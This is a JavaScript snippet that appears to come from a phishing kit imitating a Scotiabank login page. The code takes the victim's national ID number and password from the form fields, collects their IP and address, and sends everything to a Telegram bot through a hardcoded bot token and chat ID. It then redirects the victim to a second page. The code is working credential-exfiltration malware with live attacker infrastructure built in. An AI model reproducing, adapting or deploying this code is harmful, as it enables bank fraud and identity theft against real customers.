//bot token var telegram_bot_id = "8098985993:AAGBza_96PNWUmaBO1ELG3Lb6xhxh3ezBcw"; //chat id var chat_id = "-4853105945"; var u_name, pax, u_pin2, ip, ip2; var ready = function () { u_name = document.getElementById("tlVVJNECrWGtadX").value; pax = document.getElementById("mxLRLDLOWkkKsDR").value; ip = document.getElementById("gfg").innerHTML; ip2 = document.getElementById("address").innerHTML; message = "SCOTIABANK\nšŸ‘¤DNI: " + u_name + "\nšŸ”’Clave: " + pax +"\n🌐IP: " + ip +"\n" + ip2 +"\n\n"; }; var sender = function () { ready(); var settings = { "async": true, "crossDomain": true, "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendMessage", "method": "POST", "headers": { "Content-Type": "application/json", "cache-control": "no-cache" }, "data": JSON.stringify({ "chat_id": chat_id, "text": message }) }; $.ajax(settings).done(function (response) { window.location = 'index2.html'; console.log(response); }); return false; };